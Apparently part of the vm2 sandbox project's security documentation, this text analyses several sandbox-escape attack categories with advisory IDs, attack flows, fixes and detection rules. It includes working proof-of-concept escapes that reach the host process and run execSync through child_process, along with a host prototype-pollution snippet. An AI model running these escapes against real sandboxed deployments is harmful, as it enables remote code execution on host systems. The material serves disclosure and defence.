Attack Category 49: Revisited Host Error Carrier Leaks a Live Proxy Through the Sanitizer Cycle Memo Copy Chapter

Advisories: GHSA-x965-fc75-jpqh

Tests: test/ghsa/GHSA-x965-fc75-jpqh/ (repro.js, adversarial.js)

Uses: Category 38: Error.cause Host Reference Leak to Sandbox

Supersedes: closes the cycle-memo gap in the Category 38 fix. Category 38 rebuilds host-wrapped AggregateError / SuppressedError carriers into fresh sandbox-realm errors, but its cycle-detection memo stored a presence bit and returned the raw carrier on revisit — safe only for the seal-in-place carriers, not the rebuilt ones.

Description Copy Section

handleException (lib/setup-sandbox.js) is the transformer's caught-exception chokepoint. It guards against cyclic error graphs with a visited WeakMap: on first encounter it records the carrier, and on a repeat encounter within the same traversal it short-circuits and returns without re-recursing. The Category 38 fix stored visited.set(e, true) and short-circuited with return e — the raw host carrier.

That is correct for carriers sanitized in place: a plain host Error has its .cause overwritten and its own properties sealed on the underlying host object (sanitizeErrorCause / sanitizeHostOwnProps), so the raw carrier returned on revisit is already neutralized. But the AggregateError / SuppressedError handlers do not seal in place — they snapshot-and-rebuild the carrier into a fresh sandbox-realm error and drop the original. The raw carrier and its sanitized replacement are therefore different objects, and the presence-bit memo cannot return the replacement. When the same host aggregate is revisited within one traversal, the short-circuit hands back the raw host proxy, which the rebuild re-embeds into the "sanitized" errors[] (or .error / .suppressed). Its own properties — err.leak = process, or a prototype-chain reference — are fully live: e.errors[i].leak.mainModule.require('child_process').execSync(...) → host RCE on the exact channel Defense Invariant #3 promises to sanitize.

Attack Flow Copy Section

1. An embedder-exposed host function throws a host-wrapped AggregateError/SuppressedError whose graph references one node twice within a single handleException traversal — a self-cycle (agg.errors = [agg]), a duplicate in the array ([shared, shared]), or a mutual cycle (a.errors = [b]; b.errors = [a]) — with a host reference parked on a rebuild-surviving slot (agg.leak = process).
2. Sandbox try { hostThrow() } catch (e) { … } routes e through handleException.
3. The proto-walk dispatches to sanitizeAggregateError; the host-wrapped branch reads .errors and recurses handleException(item, visited) on each element.
4. The second reference to the carrier hits the visited short-circuit → return e (raw proxy) → pushed into the rebuilt errors[].
5. Sandbox walks e.errors[i].leak → live host process → RCE.

Canonical Example(s) Copy Section

const {VM} = require('vm2');
// duplicate-in-array — the same host aggregate referenced twice
new VM({sandbox:{hostThrow(){
  const shared = new AggregateError([], 'shared'); shared.leak = process;
  throw new AggregateError([shared, shared], 'all failed');
}}}).run(`try{hostThrow()}catch(e){ e.errors[1].leak.mainModule.require('child_process').execSync('id') }`);

// self-cycle:  const agg = new AggregateError([],'x'); agg.errors=[agg]; agg.leak=process; throw agg;
// mutual:      a.errors=[b]; b.errors=[a]; b.leak=process; throw a;
// residual:    same PLAIN host Error listed twice with a prototype-chain leak
//              (sanitizeHostOwnProps rebuilds it but the memo still pointed at the raw carrier)

• Nested duplicated host sub-aggregate, and a SuppressedError sharing a host sub-error with an aggregate: see test/ghsa/GHSA-x965-fc75-jpqh/repro.js.
• Mixed graph AggregateError -> SuppressedError -> Error{cause} sharing one host node, and a SuppressedError self-cycle through .suppressed with a custom leak property: see test/ghsa/GHSA-x965-fc75-jpqh/adversarial.js.

Why It Works Copy Section

The visited map conflated two different needs. For seal-in-place carriers the memo only needs a presence bit — a revisit can safely return the (now-neutralized) original. For rebuild carriers the memo must return the replacement, because the original is never neutralized. Storing true made a revisit resolve to the raw carrier for both. The rebuild also reads sub-errors before recursing, so the memo entry for the carrier itself did not yet point anywhere useful — the classic cyclic-structure rebuild problem.

Mitigation Copy Section

Restore Defense Invariant #3 at the memo chokepoint by making the value stored in visited for a carrier be exactly what a revisit must return:

• Default memo visited.set(e, e) — seal-in-place carriers resolve a revisit to themselves; the short-circuit returns the memoized value, never a bare true.
• Two-phase rebuild for host-wrapped AggregateError / SuppressedError: construct the empty sandbox-realm replacement, register visited.set(carrier, replacement) before recursing into sub-errors (so every cycle shape terminates on the replacement), then install the sanitized children as plain own data properties via localReflectDefineProperty. Attacker own-properties are dropped by construction.
• Memoize the sanitizeHostOwnProps rebuild too (a plain host error listed twice with a prototype-chain leak would otherwise return the raw carrier on the revisit).
• Defense-in-depth: _blockHostWrapped at every rebuild embed site replaces any element that is still _isHostWrapped after the recursive call with a neutral sandbox Error — an independent second layer, agnostic to why an element remained host-wrapped, that also catches any future rebuild path forgetting to sanitize an element.

.message is copied only when it is a primitive string, so it carries no host reference; _isHostWrapped is spoof-proof because the bridge get trap returns isProxy === true before consulting the host object, so an own isProxy: false cannot suppress detection.

Detection Rules Copy Section

• A recursion memo (visited/seen WeakMap/Set) that stores a boolean and returns the input on revisit, while the same function rebuilds rather than mutates its input — the revisit and the rebuild diverge.
• Any host-wrapped error rebuild that reads .errors / .error / .suppressed and re-embeds a recursion result without asserting the result is sandbox-realm.

Considered Attack Surfaces Copy Section

• TOCTOU on .errors / .error / .suppressed — each slot is read once into a local before iteration; a non-array .errors accessor fails localArrayIsArray and yields an empty replacement. Asserted in adversarial.js.
• .message accessor returning a host object — copied only when typeof === 'string', so a non-primitive message is ignored.
• Replacement construction throwing (new LocalAggregateError unavailable) — falls back to new LocalError(msg), still sandbox-realm; the fallback path is inside the same two-phase memo registration.

Attacks Host Prototype Mutation (`docs/attacks/host-prototype-mutation.md`) Copy Section

Host Prototype Mutation

Writing into host-realm intrinsic prototypes from the sandbox: bridge set/defineProperty write-through, bridged setter primitives reached through the apply trap, Receiver confusion, and raw __proto__ accessors.

Defense invariants enforced by fixes in this family: 6 (see Defense Invariants).

Categories in this file: 20, 26, 30, 32, 37, 50.

Attack Category 20: Host Intrinsic Prototype Pollution via Bridge Write Traps Copy Chapter

Advisories: GHSA-vwrp-x96c-mhwq, GHSA-m5q2-4fm3-vfqp, GHSA-3vgf-8m4q-q4qr, GHSA-59g5-pmg6-5gr4 (dup of GHSA-3vgf-8m4q-q4qr)

Tests: test/ghsa/GHSA-vwrp-x96c-mhwq/, test/ghsa/GHSA-m5q2-4fm3-vfqp/, test/ghsa/GHSA-3vgf-8m4q-q4qr/

Description Copy Section

Before GHSA-vwrp-x96c-mhwq, BaseHandler.set and BaseHandler.defineProperty forwarded every sandbox write directly into the wrapped host object via otherReflectSet / otherReflectDefineProperty. Both traps now consult isProtectedHostObject first and forward only writes aimed at non-intrinsic host objects. For ordinary host instances (a Buffer, a host-provided config object) this is intentional and correct — sandbox code should be able to mutate state the host explicitly handed it. For host-realm intrinsic prototypes (Object.prototype, Array.prototype, Function.prototype, Error.prototype, etc.) it is catastrophic: the mutation is globally observable to every host-side consumer of those prototypes, enabling prototype pollution that crosses the sandbox boundary in the most damaging direction. deleteProperty and preventExtensions had analogous gaps — sandbox code could delete Object.prototype.hasOwnProperty from the host realm, or freeze host prototypes to durably break unrelated host code.

Attack Flow Copy Section

1. Reach a host intrinsic prototype. Walk the prototype chain via ({}).__lookupGetter__('__proto__') composed with Buffer.apply, ending at host Object.prototype (or Array.prototype, Function.prototype, etc.). Several earlier advisories (GHSA-grj5, GHSA-47x8, …) provided this walk; the same primitive lands here.
2. Write through the bridge. With the bridge proxy wrapping host Object.prototype in hand, any of the following sandbox writes lands in the host realm:
   • hostProto.x = v → set trap → otherReflectSet(hostObjectPrototype, 'x', v).
   • Object.defineProperty(hostProto, 'x', {value: v}) → defineProperty trap → otherReflectDefineProperty(...).
   • Reflect.set(hostProto, 'x', v) / Reflect.defineProperty(hostProto, ...) — same traps.
   • delete hostProto.someProp → deleteProperty trap → otherReflectDeleteProperty(...).
   • Object.preventExtensions(hostProto) → preventExtensions trap → host prototype frozen forever.
3. Observe pollution from host code. Any host-side code that subsequently reads from objects of the affected class sees the attacker's value.

Canonical Example Copy Section

// (advisory GHSA-vwrp-x96c-mhwq)
const g = ({}).__lookupGetter__;
const a = Buffer.apply;
const p = a.apply(g, [Buffer, ['__proto__']]);
const hostObjectProto = p.call(p.call(p.call(p.call(Buffer.of()))));
hostObjectProto.vm2EscapeMarker = 'polluted-object-prototype';
// Host-side: ({}).vm2EscapeMarker === 'polluted-object-prototype' — global pollution.

Why It Works Copy Section

The bridge's design separated sandbox-realm reasoning from host-realm reasoning at the proxy boundary, but the four write traps (set, defineProperty, deleteProperty, preventExtensions) were unconditionally pass-through. Most host objects exposed to the sandbox are values the host intends to make mutable — so a blanket "no writes to host objects" rule would break legitimate API contracts. The actual invariant being violated is narrower: "host-realm objects whose state is observed by host code outside the sandbox must be read-only from the sandbox's perspective." Intrinsic prototypes are the canonical example of such objects.

Mitigation Copy Section

createBridge() builds a closure-scoped WeakMap of "protected host objects" at bridge init, populated with every entry in otherGlobalPrototypes (the cached intrinsic prototypes — Object, Array, Function, Error and subclasses, RegExp, Promise, Number/String/Boolean wrappers, Date, Map, Set, WeakMap, WeakSet, AsyncFunction, GeneratorFunction, AsyncGeneratorFunction, SuppressedError, AggregateError, VMError) plus each prototype's .constructor value (so the host Object/Array/Function constructors themselves are also protected). The four write traps in BaseHandler — set, defineProperty, deleteProperty, preventExtensions — now check isProtectedHostObject(object) before any otherReflect* mutation call and throw VMError(OPNA) on hit. The check fires only when !isHost (sandbox-originated writes); host-side embedder code writing to its own intrinsics through other paths is unaffected.

The protected set is captured before any sandbox code runs, and is keyed on raw host-realm object identity — so prototype-pollution attempts that try to subvert the check itself (e.g., Array.prototype.constructor = attackerFn) fail because the WeakMap holds the original references.

Symbol-key augmentation (GHSA-m5q2-4fm3-vfqp): the per-object isProtectedHostObject check fires only for intrinsic prototypes, so non-intrinsic host objects (a plain {} exposed via vm.sandbox.x, a host function, a Buffer instance) remained writable from the sandbox. That is intentional — embedders need to expose mutable host state — but it interacts badly with Category 8-class symbol leaks: a sandbox that obtains a real nodejs.* cross-realm symbol could install a host-side hook (util.promisify, stream brand, webstream controller) on any such non-protected host object and steer host control flow without ever needing host RCE. The four write traps (set, defineProperty, deleteProperty — plus preventExtensions already covered by the original Cat-20 fix) now also reject any sandbox-originated key that satisfies isDangerousCrossRealmSymbol(key). This is the symmetric counterpart to the existing read-direction symbol filter: even if a future bypass surfaces a dangerous symbol back inside the sandbox, it cannot be installed as a key on any bridge-wrapped host object.

Binary-data & iterator intrinsic augmentation (GHSA-3vgf-8m4q-q4qr / GHSA-59g5-pmg6-5gr4): the protected inventory was populated from globalsList, which listed only Number/String/Boolean/Date/RegExp/Map/WeakMap/Set/WeakSet/Promise/Function (plus Object/Array/errors). It omitted the entire binary-data family (ArrayBuffer, SharedArrayBuffer, DataView, every TypedArray, and the abstract %TypedArray%.prototype) and the iterator family (ArrayIterator.prototype, the String/Map/Set/RegExpString iterator prototypes, and the shared %IteratorPrototype%). Because Buffer extends Uint8Array, the exact Cat-20 walk reaches host Uint8Array.prototype / %TypedArray%.prototype / ArrayBuffer.prototype (and, from Buffer.from([1]).values(), the host iterator prototypes) — none of which were protected — so Reflect.defineProperty polluted them globally: a fresh host-side new Uint8Array(1) or [].values() observed the sandbox's marker, and overwriting ArrayIterator.prototype.next corrupts every host iteration. The named binary-data globals are now added to globalsList, and the abstract prototypes (%TypedArray%, %IteratorPrototype%, and the concrete iterator prototypes) are resolved structurally and added to thisGlobalPrototypes (mirroring the AsyncFunction/GeneratorFunction handling), so they flow into protectedHostObjects, the proto-mapping table, and the Category 8 (GHSA-47x8-96vw-5wg6) identity map like every other intrinsic. This realizes the "Future Node intrinsics" item tracked under Considered Attack Surfaces below.

Detection Rules Copy Section

• hostProto.x = v — direct assignment to a bridge proxy of an intrinsic prototype.
• Object.defineProperty(hostProto, ...) / Reflect.defineProperty(...) — descriptor-based pollution.
• Reflect.set(hostProto, k, v) — reflective assignment.
• delete hostProto.x — sandbox-side property deletion on host intrinsic.
• Object.assign(hostProto, src) — bulk pollution via host-side [[Set]] calls.
• Object.preventExtensions(hostProto) / Object.freeze(hostProto) — durable host DoS.

Considered Attack Surfaces Copy Section

• Non-intrinsic host objects (Buffer instances, host-config objects, modules exposed via NodeVM externals) remain mutable from the sandbox. This is intentional — the host explicitly chose to expose them. The vulnerability class is specifically about implicit mutability of cross-cutting host invariants.
• Future Node intrinsics. The binary-data (ArrayBuffer/SharedArrayBuffer/DataView/TypedArray/%TypedArray%) and iterator (ArrayIterator/String/Map/Set/RegExpString iterators/%IteratorPrototype%) families are now protected (GHSA-3vgf-8m4q-q4qr / GHSA-59g5-pmg6-5gr4 — see the augmentation note above). Remaining un-cached intrinsics (AsyncIterator.prototype, Temporal.*, Intl.* prototypes, WeakRef.prototype, FinalizationRegistry.prototype) extend protection automatically once added to globalsList / thisGlobalPrototypes. Tracked as a future-risk item — see "Future Risks" below.

Attack Category 26: Sandbox-Realm Null-Proto via Bridge `from()` — Set-Trap Write-Through Copy Chapter

Advisories: GHSA-mpf8-4hx2-7cjg, GHSA-9vg3-4rfj-wgcm

Tests: test/ghsa/GHSA-mpf8-4hx2-7cjg/, test/ghsa/GHSA-9vg3-4rfj-wgcm/

Uses: Category 1 (host Function via .constructor), Category 6 (bridge set trap as the actual leak vector).

Supersedes: defense-in-depth portion of GHSA-mpf8-4hx2-7cjg's fix that extended from() to handleException and globalPromise.prototype.then onFulfilled.

Description Copy Section

bridge.from(other) constructs a sandbox-side proxy whose internal target the bridge treats as an other-realm (host) object. The proxy's set trap therefore unwraps incoming sandbox bridge proxies (otherFromThis(value)) back to their raw host references and writes them directly onto the underlying target via otherReflectSet(object, key, value).

When from() is called from a sandbox-side path with a sandbox-realm null-proto value, the proxy's underlying target IS the sandbox object. The write-through path then stores raw host references onto a sandbox-visible object, readable via the original sandbox reference (which bypasses the proxy entirely). Reading .constructor on a leaked host function yields host Function; Function('return process')() is RCE.

The post-GHSA-mpf8 hardening (commit b57ac2d, "setup-sandbox defense-in-depth (mpf8 symmetry)") added from() calls in three sandbox-side spots — handleException (transformer-instrumented JS catch path), globalPromise.prototype.then onFulfilled wrapper, and the setHostPromiseSanitizers install — for "symmetry" with the original GHSA-mpf8 fix. Two of those callsites receive sandbox-realm values and turn them into write-through proxies; this is the leak path GHSA-9vg3-4rfj-wgcm exploits.

CVSS:3.1 9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H). CWE-913 (Improper Control of Dynamically-Managed Code Resources).

Attack Flow Copy Section

1. Sandbox creates a null-proto carrier: const o = {__proto__: null}.
2. Sandbox throws it: throw o. Transformer-instrumented catch calls e = handleException(e).
3. handleException was passing e through from(e). With e's prototype being null, bridge.from() had no proto-mapping to consult and built a sandbox-side proxy treating o as host-realm.
4. Sandbox writes a sandbox-side proxy of a host function onto the proxy: e.f = Buffer.prototype.inspect. The bridge set trap converts the sandbox value to host realm via otherFromThis(value), yielding the raw host inspect, then stores it on the underlying target — which is the sandbox object o.
5. Sandbox reads via the original reference: o.f returns the raw host function (no proxy in the way; o IS sandbox-realm, so plain property access bypasses the bridge entirely).
6. o.f.constructor is host Function → Function('return process')() → host process → RCE.

The same bug exists on the globalPromise.prototype.then onFulfilled path: Promise.resolve({__proto__:null}).then(e => { e.f = HostFn; ... }).

Canonical Examples Copy Section

// (advisory GHSA-9vg3-4rfj-wgcm)
const {VM} = require("vm2");
new VM().run(`
  const o = {__proto__: null};
  try {
    throw o;
  } catch (e) {
    e.f = Buffer.prototype.inspect;
    o.f.constructor("return process")()
      .mainModule.require('child_process').execSync('touch pwned');
  }
`);

// Promise.then variant
new VM().run(`
  (async () => {
    const o = {__proto__: null};
    return Promise.resolve(o).then(e => {
      e.f = Buffer.prototype.inspect;
      return o.f.constructor('return process')();
    });
  })()
`).then(p => console.log(p)); // host process leaked

Why It Works Copy Section

bridge.from() (= thisFromOtherWithFactory(defaultFactory, other)) is defined for host-realm inputs. Its internal logic walks the prototype chain looking for a protoMappings entry; if proto is null and no mapping found, it creates a default proxy via thisProxyOther(factory, other, null, dangerous). The bridge has no realm-tagging on raw values, so it cannot distinguish "host null-proto object the sandbox should see wrapped" (the GHSA-mpf8 motivating case) from "sandbox null-proto object the sandbox already owns" (this GHSA's case).

The post-GHSA-mpf8 commit b57ac2d extended from() to two sandbox-side callsites — handleException and globalPromise.prototype.then onFulfilled — purely for "symmetry"; no exploit existed for the sandbox-side path at the time. Those callsites do not receive host-realm values in normal flow: host throws are pre-converted by the bridge apply-trap's thisFromOtherForThrow, and host-promise resolutions are intercepted at the bridge level via normalizeHostPromiseCallbacks. The "symmetry" wrap therefore only ever fires on sandbox-realm values, where it creates the dangerous write-through proxy.

Mitigation Copy Section

Restores Defense Invariant 2 ("All caught exceptions are sanitized") with the right sanitizer for each callsite's actual realm context, and Defense Invariant 1 by ensuring from() is not used to "wrap" sandbox-realm values into host-treating proxies.

lib/setup-sandbox.js:

• handleException (line ~876): e = from(e) → e = ensureThis(e). ensureThis returns sandbox-realm values unchanged and walks the proto chain only for host-mapped values, so a sandbox null-proto value stays sandbox-realm. SuppressedError / AggregateError sub-error recursion still works because each sub-call routes through the same ensureThis and the sub-error proto chain reaches a known host Error prototype mapping for genuinely-host sub-errors.
• globalPromise.prototype.then onFulfilled wrap (line ~283): same change. The host-promise resolution path is unaffected because it goes through normalizeHostPromiseCallbacks in lib/bridge.js — the apply-trap promise-boundary normalizer, which normalizes the then/catch argument pair by wrapping the callback slots in place — and that path keeps using from() (correct — values there ARE host-realm).
• bridge.setHostPromiseSanitizers install (line ~959): the rejection sanitizer is now e => handleException(from(e)) instead of handleException. The explicit outer from(e) preserves the GHSA-mpf8 invariant for genuinely-host null-proto rejection values (they reach sandbox callbacks bridge-wrapped, not raw); the inner handleException then performs SuppressedError / AggregateError recursive sanitization on the wrapped value.

The fix surface is three lines of code in setup-sandbox.js, no bridge changes.

Detection Rules Copy Section

• from(value) calls in sandbox-side code paths — lib/setup-sandbox.js and any future sandbox-side callsite. Whenever the value can be sandbox-realm by construction (transformer catch path, sandbox-Promise rejection, executor catch), the call must use ensureThis (sandbox-passthrough for unmapped values) instead of from (always-wrap).
• {__proto__: null} followed by throw or Promise.resolve(...) in untrusted code review — the canonical attack carrier. Innocuous on its own, but combined with property assignment in catch / .then it's a write-through probe.
• obj.constructor("return process") or obj.f.constructor("return ...") patterns — the post-leak escape primitive. Flag in code review even when wrapped in try/catch.
• Reverts of the b57ac2d "symmetry" change — any future commit re-introducing from() in handleException or sandbox-side Promise.prototype.then onFulfilled must re-prove the realm assumption holds for every callsite reachable on those paths.

Considered Attack Surfaces Copy Section

• localPromise constructor catch wrapper (line ~76): reject(handleException(e)). The executor runs in the sandbox; e is a sandbox-realm thrown value (host throws inside an executor that was passed through the bridge would already be wrapped at the bridge boundary). handleException now uses ensureThis internally, so this path is safe.
• Sandbox-side localPromise.prototype.then onRejected wrap (line ~1170): also routes through handleException. Same reasoning — sandbox-realm rejection value, ensureThis correctly passes through.
• readonly() factory from(mock) call (line ~1281): mock is a sandbox-supplied user value that the embedder asked to read-only-mock onto a host target. The wrap is intentional (the value crosses TO the host as the read-side data). Sandbox cannot exploit the resulting proxy because it doesn't have a sandbox-side reference to the underlying mock object identity.
• Bridge-level normalizeHostPromiseCallbacks (lib/bridge.js) — the promise-boundary normalizer that normalizes the then/catch argument pair for host Promise.prototype.then / .catch invocations: still uses from() directly (installed as the fulfillment sanitizer by bridge.setHostPromiseSanitizers(…, from) in lib/setup-sandbox.js), correct because at that layer the value is host-realm by construction (delivered from host Promise machinery).

Attack Category 30: Host Prototype Mutation via Bridged Setter Primitives Copy Chapter

Advisories: GHSA-v6mx-mf47-r5wg, GHSA-9vg3-4rfj-wgcm

Tests: test/ghsa/GHSA-v6mx-mf47-r5wg/, test/ghsa/GHSA-9vg3-4rfj-wgcm/

Uses: Category 2: Prototype Chain Manipulation, Category 4: Error Object Exploitation, Category 7: Promise and Async Exploitation.

Description Copy Section

The bridge's set / defineProperty / setPrototypeOf proxy traps block direct mutation of host-realm objects from the sandbox (isProtectedHostObject). But the apply trap lets sandbox code invoke host functions with a host object as this. When the function being applied is host's Object.prototype.__proto__ setter (or any prototype-mutating intrinsic — Object.setPrototypeOf, Reflect.setPrototypeOf, Object.prototype.__defineSetter__, etc.), the actual mutation happens inside the host intrinsic with this = the raw host object, bypassing every write trap because no proxy is involved in the assignment.

Severing even a non-protected host prototype (Node-internal NodeError.prototype, a per-error [[Prototype]], etc.) is enough to break downstream bridge invariants: once a host-realm chain is truncated, the bridge's proto-walking helpers (thisFromOtherWithFactory, thisFromOtherForThrow, thisEnsureThis) can no longer find a registered mapping at the right level, and the value can fall through unwrapped. From there e.constructor.constructor resolves to host Function, and new HostFunction("return process")() yields RCE.

The PoC reaches host's __proto__ setter via:

const setProto = Buffer.call.call({}.__lookupSetter__, Buffer, "__proto__");

{}.__lookupSetter__ is sandbox-side but connect()'ed to host's, so when applied through Buffer.call.call(...) it returns host's Object.prototype.__proto__ setter (wrapped as a bridge proxy). Calling setProto.call(<wrapped host object>, null) invokes the wrapped host setter via the apply trap. Before this fix the trap simply unwrapped context and forwarded the call to otherReflectApply(hostSetter, rawHostObject, [null]), mutating the host object's prototype.

The canonical PoC pairs the setter primitive with WebAssembly.compileStreaming() to surface a host-realm TypeError:

CWE-913 (Improper Control of Dynamically-Managed Code Resources).

Attack Flow Copy Section

1. Resolve getProto / setProto to host's Object.prototype.__proto__ accessor via Buffer.call.call({}.__lookup{Getter,Setter}__, Buffer, "__proto__").
2. Trigger a host-realm rejection — await WebAssembly.compileStreaming() throws a host TypeError.
3. In catch (e), the host TypeError arrives wrapped (the first time the bridge has seen it). Call setProto.call(getProto.call(e), null). The apply trap unwraps context to the raw host TypeError.prototype and forwards to the host setter, severing the host TypeError.prototype.[[Prototype]] from host Error.prototype.
4. Trigger a second host-realm rejection. The fresh host TypeError instance walks back into sandbox code through V8 internals (the await machinery delivers it directly). The bridge's proto-walk no longer reaches a registered mapping at the right level, so ensureThis falls through and returns the raw host TypeError unwrapped.
5. Sandbox reads e.constructor → raw host TypeError (unwrapped, never crossed the bridge), .constructor.constructor → host Function. new HostFunction("return process")() returns host process. RCE.

Canonical Example Copy Section

// (advisory GHSA-v6mx-mf47-r5wg)
const { VM } = require("vm2");
const vm = new VM();
vm.run(`
  "use strict";
  const getProto = Buffer.call.call({}.__lookupGetter__, Buffer, "__proto__");
  const setProto = Buffer.call.call({}.__lookupSetter__, Buffer, "__proto__");
  async function f() {
    try { await WebAssembly.compileStreaming(); }
    catch(e) { setProto.call(getProto.call(e), null); }
    try { await WebAssembly.compileStreaming(); }
    catch(e) {
      const HostFunction = e.constructor.constructor;
      new HostFunction("return process")()
        .mainModule.require('child_process').execSync('touch pwned');
    }
  }
  f();
`);

Why It Works Copy Section

The two underlying invariants violated:

• Invariant A (write-side): "Sandbox code must not be able to mutate any host-realm object's prototype chain via the bridge." The proxy set / defineProperty / setPrototypeOf traps enforce this on direct mutation paths, but the apply trap creates a second mutation path — invoking a host prototype-mutating intrinsic as a function with a host object as this. The mutation happens inside the host intrinsic, not through any proxy, so no write trap fires.
• Invariant B (read-side): "No host-realm object reaches sandbox code unwrapped." The bridge identifies host objects by walking the prototype chain looking for a registered mapping. When a host chain has been severed, the walk fails to find the mapping and helpers like thisEnsureThis fall through and return the raw host value AS-IS.

Together they form a compose-able primitive: mutate any host prototype → break the bridge's proto-walk recognition → next host value of that class arrives unwrapped → e.constructor.constructor chain to host Function.

Mitigation Copy Section

Two-layer structural fix in lib/bridge.js.

Layer A (write-side, primary): apply-trap refusal of host prototype mutators. At bridge init, cache the identity of every host-realm function that mutates [[Prototype]] (or could install code that mutates it):

// host Object.prototype.__proto__ setter
addDangerousHostProtoMutator(
  otherSafeGetOwnPropertyDescriptor(otherGlobalPrototypes.Object, '__proto__').set
);
// host Object.prototype.__defineSetter__ / __defineGetter__
// host Object.setPrototypeOf / Object.defineProperty / Object.defineProperties
// host Reflect.setPrototypeOf / Reflect.defineProperty

In the apply trap:

if (!isHost) {
  if (isDangerousHostProtoMutator(object)) throw new VMError(OPNA);
  // Peel one indirection layer: Function.prototype.call / .apply / .bind
  if (isApplyIndirectionPrimitive(object)) {
    const underlying = otherFromThis(context);
    if (isDangerousHostProtoMutator(underlying)) throw new VMError(OPNA);
  }
  // Peel Reflect.apply / Reflect.construct (underlying is args[0])
  if (isReflectApplyPrimitive(object)) {
    const underlying = otherFromThis(args[0]);
    if (isDangerousHostProtoMutator(underlying)) throw new VMError(OPNA);
  }
}

The indirection peel covers the canonical PoC shape (setProto.call(tp, null), where the apply target is Function.prototype.call and the dangerous function is context), setProto.apply(tp, [null]), and Reflect.apply(setProto, tp, [null]). The peel is depth-1 — recursive indirection (Function.prototype.call.call(...)) collapses into the same shape at the V8 level because Function.prototype.call is the apply target and its context is the inner reference.

Layer B (read-side, defense-in-depth): cache check before proto walk in thisEnsureThis. Before walking the prototype chain, check mappingOtherToThis for an existing wrap of other. If found, return it. This catches host-realm values the bridge has already wrapped — even if their prototype chains were subsequently tampered with by some other route, the cache lookup is independent of the prototype chain.

We deliberately do not wrap on the proto-walk fall-through paths (null proto, walked-off without finding a mapping). Wrapping there would re-introduce GHSA-9vg3-4rfj-wgcm — a sandbox-realm {__proto__: null} value passed to handleException would be turned into a host-treating proxy whose set trap unwraps sandbox-side proxies of host references onto the underlying object, recreating the very escape that fix closed. Layer A prevents the canonical attack from reaching a state where a fresh, never-bridged host object surfaces here through a tampered proto chain.

Detection Rules Copy Section

• Sandbox-applied host Object.prototype.__proto__ setter — reached via __lookupSetter__ on a host-prototype-bearing reference (Buffer, Error.prototype, etc.). The cache dangerousHostProtoMutators identifies it regardless of how it's named in the sandbox.
• Sandbox-applied host Object.setPrototypeOf / Object.defineProperty / Object.defineProperties — reached via Object (a bridge proxy of host Object) or via a host-side method that returns these.
• Sandbox-applied host Reflect.setPrototypeOf / Reflect.defineProperty — reached via Reflect (bridge proxy). Reflect.apply and Reflect.construct are tracked as indirection primitives so a sandbox using Reflect.apply(setProto, tp, [null]) is also caught.
• Sandbox-applied host Object.prototype.__defineSetter__ / __defineGetter__ — would install attacker-defined accessors on a host target. Indirect mutation primitive; same chokepoint.
• Function.prototype.call / .apply / .bind indirection — the apply trap peels one layer to inspect the underlying function being applied. setProto.call(...) and setProto.apply(...) are caught.
• Reflect.apply / Reflect.construct indirection — the apply trap peels these and inspects args[0] as the underlying function.

Considered Attack Surfaces Copy Section

• Sandbox-realm Object.setPrototypeOf / Reflect.setPrototypeOf on sandbox values — not in the dangerous-mutator set (only host-realm copies are). Sandbox code can still mutate its own prototypes freely.
• __proto__ getter (read-only) — not blocked. Reading a host prototype is not, by itself, a privilege-escalation primitive, and blocking the getter would break legitimate instanceof and inspection paths. The attack requires writing, which is what the dangerous-mutator set covers.
• Deeper indirection (Function.prototype.call.call.call(...)) — depth-1 peel is not sufficient. See Category 37. The structural fix is delivery-time refusal in thisFromOtherWithFactory / thisFromOtherForThrow / thisEnsureThis so the sandbox never holds a callable reference to a host prototype mutator regardless of how many indirection wrappers it stacks.
• Function.prototype.bind returning a new function — bound functions don't immediately apply; they're invoked later. When the bound function is eventually applied, the apply trap fires again with the bound function as object. The bound function unwraps to a host-realm "bound function exotic object" rather than the original target, so the simple identity check on the bound function's identity wouldn't hit. However, sandbox-controllable bind paths reaching a dangerous mutator can be tested adversarially; if a bypass surfaces, the peel should be extended.
• Symbol-based "private" setter slots — not known to exist for prototype mutation. The defense covers the documented set of mutators.

Related Categories Copy Section

• Category 2: Prototype Chain Manipulation — sets up the attacker's goal of mutating a host prototype chain.
• Category 4: Error Object Exploitation — the canonical PoC uses host-realm TypeError as the carrier.
• Category 7: Promise and Async Exploitation — WebAssembly.compileStreaming() rejection is the host-error source.
• Category 26: Sandbox-Realm Null-Proto via Bridge from() — explains why we cannot indiscriminately wrap fall-through values in thisEnsureThis.

Attack Category 32: Bridge `set` Trap Ignores Spec `Receiver` — Inherited-Receiver Write-Through Copy Chapter

Advisories: GHSA-c4cf-2hgv-2qv6, GHSA-m5q2-4fm3-vfqp, GHSA-vwrp-x96c-mhwq

Tests: test/ghsa/GHSA-c4cf-2hgv-2qv6/, test/ghsa/GHSA-m5q2-4fm3-vfqp/, test/ghsa/GHSA-vwrp-x96c-mhwq/

Uses: Category 6: Proxy Trap Exploitation.

Description Copy Section

ECMA-262 §9.5.9 [[Set]](P, V, Receiver) for Proxy exotic objects supplies the original recipient of the assignment as the Receiver parameter to the trap. When sandbox code writes to an object that inherits from a bridge proxy (Object.create(proxy).x = v) or supplies a forged receiver (Reflect.set(proxy, k, v, customReceiver)), V8 invokes the trap with Receiver set to that recipient — not the proxy itself. The spec-mandated behaviour for the trap is to install the property on Receiver, mirroring how ordinary objects propagate [[Set]] up the prototype chain.

Before GHSA-c4cf-2hgv-2qv6, BaseHandler.set in lib/bridge.js ignored the Receiver argument and unconditionally forwarded the write through to the wrapped host object via otherReflectSet(object, key, value). The trap now compares receiver against the canonical bridge proxy for the target and installs on the receiver itself when the two differ. Consequence of that pre-fix behaviour: every host-realm object exposed to the sandbox becomes a write channel through any inheriting receiver. A single Object.create(hostObj) produces a sandbox-side object whose every property write lands on the host object, bypassing any future write-side hardening that assumes "writes only arrive via direct proxy.x = v through the canonical proxy receiver". The originally reported path used kCustom = Symbol.for('nodejs.util.promisify.custom') as the write key against Object.create(hostFn) to install a sandbox-controlled function under the host promisifier dispatch slot, so util.promisify(hostFn)() on the host side would dispatch to attacker code. The class is generic to any key; the symbol-key shape was the sharpest end (host control flow hand-off) but plain string keys are equally write-through.

CVSS:3.1 ~8.0 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N — direct host data integrity violation; full RCE requires the host to consume the polluted slot).

Attack Flow Copy Section

1. Sandbox obtains a reference to any host-realm object the embedder exposed — either via sandbox: { x } or any function/value reachable through the bridge.
